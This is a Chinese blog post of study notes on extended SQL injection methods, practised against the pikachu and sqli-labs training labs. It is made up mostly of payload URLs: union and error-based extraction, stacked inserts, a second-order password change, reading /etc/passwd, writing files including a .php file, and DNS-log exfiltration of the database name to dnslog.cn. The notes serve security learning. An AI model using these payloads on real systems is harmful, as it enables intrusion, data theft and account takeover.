341 字
2 分钟
SQL 注入:扩展注入方式

【pikachu靶场】

1.想办法找到与数据库 交互的点。

2.查看注入点四周是否存在单引号还是双引号,还是什么特殊符号都没有(一般查询语句的注入是什么特殊符号都没有)

kobe’ union select 1,2,database() #

’% %’

(’ ’)

((” ”))

’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or ’

and (updatexml(1,concat(0x7e,(select database()),0x7e),1))


【堆叠注入】

同时执行多条 语句,可以用分号;隔开。可以增加,删除,或修改。

mysqli_multi_query():可以同时执行多条语句。

mysqli_query():一次只能执行一条语句。

http://127.0.0.1/sqli-labs/Less-38/?id=1’

http://127.0.0.1/sqli-labs/Less-38/?id=1”

http://127.0.0.1/sqli-labs/Less-38/?id=1’ order by 1 —+

http://127.0.0.1/sqli-labs/Less-38/?id=1’ order by 3 —+

http://127.0.0.1/sqli-labs/Less-38/?id=-1’ union select 1,2,database() —+

http://127.0.0.1/sqli-labs/Less-38/?id=1’ ; insert into users value(999,‘caixukun’,‘huozhuzi’) —+

http://127.0.0.1/sqli-labs/Less-38/?id=1’ ; insert into users(username,password) value(‘caixukun’,‘huozhuzi’) —+

http://127.0.0.1/sqli-labs/Less-2/?id=1 ; insert into users(username,password) value(‘caixukun’,‘huozhuzi’) — ----


【二次注入】

注册一个带有特殊符号的账号,然后修改密码。可以把别的账号的密码给改掉。

update users set password =‘qwert’ where username=’ admin’ # ’ and password=‘xxx’


【文件读写】

前提条件:mysql.ini配置文件重要包含参数:secure_file_priv=

privelige 特权等级 [修改完参数记得重启。]

1.load_file() 读文件

2.into outfile 或 into dumpfile 写入文件

读

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘f:\www.txt’)

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘c:/windows/win.ini’)

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘/etc/passwd’)

写

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,‘you are in’ into outfile ‘f:/haha.txt’

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'' into outfile ‘f:/1.php’

http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,’ ’ into dumpfile ‘f:/www123.txt’ —+


【dnslog】

前提条件:服务器腰得是windows系统,ysql.ini配置文件重要包含参数:secure_file_priv=

http://www.dnslog.cn/

select username,password from users where id =1 union select 1,load_file( concat(’\\’,(select database()),‘.2vsr9e.dnslog.cn\1.txt’) )

127.0.0.1/sqli-labs/Less-1/?id=1’ union select 1,2,load_file( concat(’\\’,(select database()),‘.ixe7x0.dnslog.cn\1.txt’) ) —+

SQL 注入:扩展注入方式
https://wangyi187.top/posts/sqli-extended/
作者
WangYi
发布于
2023-10-10
许可协议
CC BY-NC-SA 4.0